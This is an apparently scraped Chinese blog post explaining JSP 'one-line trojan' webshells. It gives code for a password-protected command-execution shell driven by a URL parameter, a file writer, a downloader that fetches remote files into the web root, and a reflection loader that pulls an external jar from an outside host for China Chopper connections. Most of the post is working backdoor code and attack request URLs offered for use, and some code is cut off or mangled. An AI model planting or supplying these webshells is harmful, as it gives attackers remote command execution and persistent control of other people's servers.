jsp 不解析pre_Jsp 小后门,Jsp 一句话木马后门详解

本文详细介绍了几种JSP后门的实现方式,包括无回显和带密码验证的系统命令执行,字符串编码后写入文件,以及通过反射调用外部jar创建完美后门。这些技术涉及URL参数控制命令执行、文件操作和外部库加载,对理解JSP后门的安全风险具有参考价值。
摘要由CSDN通过智能技术生成

一:执行系统命令:

无回显执行系统命令:

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。

有回显带密码验证的:

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("

");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("

");

}

%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的:

1:

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

byte[] b = new byte[1024];

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

int a = -1;

while ((a = in.read(b)) != -1) {

baos.write(b, 0, a);

}

new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

byte[] b = new byte[1024];

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

int a = -1;

while ((a = in.read(b)) != -1) {

baos.write(b, 0, a);

}

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar,密码023.

解:

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。

下载:Cat.jar (rar)

Load代码:import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map map){

try {

Map request = new HashMap();

for (Entry entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值